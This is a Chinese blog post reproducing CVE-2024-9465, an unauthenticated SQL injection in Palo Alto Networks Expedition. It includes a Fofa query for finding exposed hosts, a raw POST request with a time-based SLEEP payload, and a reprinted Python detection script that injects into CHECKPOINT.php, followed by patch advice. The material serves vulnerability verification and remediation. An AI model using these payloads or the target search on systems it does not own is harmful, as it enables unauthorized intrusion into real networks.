当前位置: 首页 > article >正文

Palo Alto Networks Expedition 未授权SQL注入漏洞复现(CVE-2024-9465)

0x01 产品介绍:

        Palo Alto Networks Expedition 是一款强大的工具,帮助用户有效地迁移和优化网络安全策略,提升安全管理的效率和效果。它的自动化功能、策略分析和可视化报告使其在网络安全领域中成为一个重要的解决方案。

0x02 漏洞描述:

        该漏洞由于CHECKPOINT.php文件存在未授权访问。在sql校验逻辑中存在action=import当解析控制参数时会创建变量routename和id并且以字符串格式构造查询。导致了漏洞的产生

0x03 影响版本:

Palo Alto Networks Expedition < 1.2.96

0x04 搜索语句:

Fofa:title="Expedition Project"

0x05 漏洞复现:

poc

POST /bin/configurations/parsers/Checkpoint/CHECKPOINT.php HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

action=import&type=test&project=pandbRBAC&signatureid=1%20AND%20(SELECT%201234%20FROM%20(SELECT(SLEEP(5)))test)

 

检测脚本:

脚本作者:https://github.com/horizon3ai/CVE-2024-9465

#!/usr/bin/python3
import argparse
import requests
import urllib3
import sys
import time
urllib3.disable_warnings()


def create_checkpoint_table(url: str):
    print(f'[*] Creating Checkpoint database table...')
    data = {'action': 'get',
            'type': 'existing_ruleBases',
            'project': 'pandbRBAC',
            }
    r = requests.post(f'{url}/bin/configurations/parsers/Checkpoint/CHECKPOINT.php', data=data, verify=False, timeout=30)
    if r.status_code == 200 and 'ruleBasesNames' in r.text:
        print(f'[*] Successfully created the database table')
        return

    print(f'[-] Unexpected response creating table: {r.status_code}:{r.text}')
    sys.exit(1)


def inject_checkpoint_query(url: str):
    start_time = time.time()
    print(f'[*] Injecting 10 second sleep payload into database query...')
    data = {'action': 'import',
            'type': 'test',
            'project': 'pandbRBAC',
            'signatureid': '1 AND (SELECT 1234 FROM (SELECT(SLEEP(10)))horizon3)',
            }
    r = requests.post(f'{url}/bin/configurations/parsers/Checkpoint/CHECKPOINT.php', data=data, verify=False, timeout=30)
    execution_time = time.time() - start_time
    if r.status_code == 200 and execution_time > 9 and execution_time < 15:
        print(f'[*] Successfully sent injection payload!')
        print(f'[+] Target is vulnerable, request took {execution_time} seconds')
        return

    print(f'[-] Unexpected response sending injection payload: {r.status_code}:{r.text}')
    sys.exit(1)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The URL of the target', type=str, required=True)
    args = parser.parse_args()

    create_checkpoint_table(args.url)
    inject_checkpoint_query(args.url)

 

0x06 修复建议:

厂商已发布补丁 请即时升级

Expedition | Palo Alto Networks


http://www.kler.cn/a/350605.html

相关文章:

  • redis-排查命中率降低问题
  • Oracle数据库传统审计怎么用
  • 如何通过 Apache Airflow 将数据导入 Elasticsearch
  • 适配器模式详解:解决接口不兼容问题的灵活设计模式
  • MongoDB 学习指南:深入探索非关系型数据库
  • 【17】Word:林楚楠-供应链❗
  • 基于Spring Boot的大创项目成本控制系统
  • 使用rabbitmq-operator在k8s集群上部署rabbitmq实例
  • js高级-理解call()的原理
  • Java基础15-Java高级
  • Leetcode—1188. 设计有限阻塞队列【中等】(多线程)
  • 从零开始:使用 Flask 或 Django 构建 RESTful API
  • 踩坑日记:线上接口超时问题排查
  • 程序员如何使用AI工具进行设计开发?
  • ES操作指南
  • 【MySQL】滑动窗口函数详解
  • PostgreSQL Windows系统初始化、登录、创建用户及数据库
  • CRMEB标准版Mysql修改sql_mode
  • java的数据类型
  • C++:类和对象1
  • uni-app的界面通讯思维导图
  • 64页精品PPT | 汽车经销商数据应用解决方案
  • 你存在,在我们的攻击画像里
  • Spring Boot:中小型医院网站的敏捷开发
  • 模拟退火算法最常见知识点详解与原理简介控制策略
  • VsCode环境配置C++环境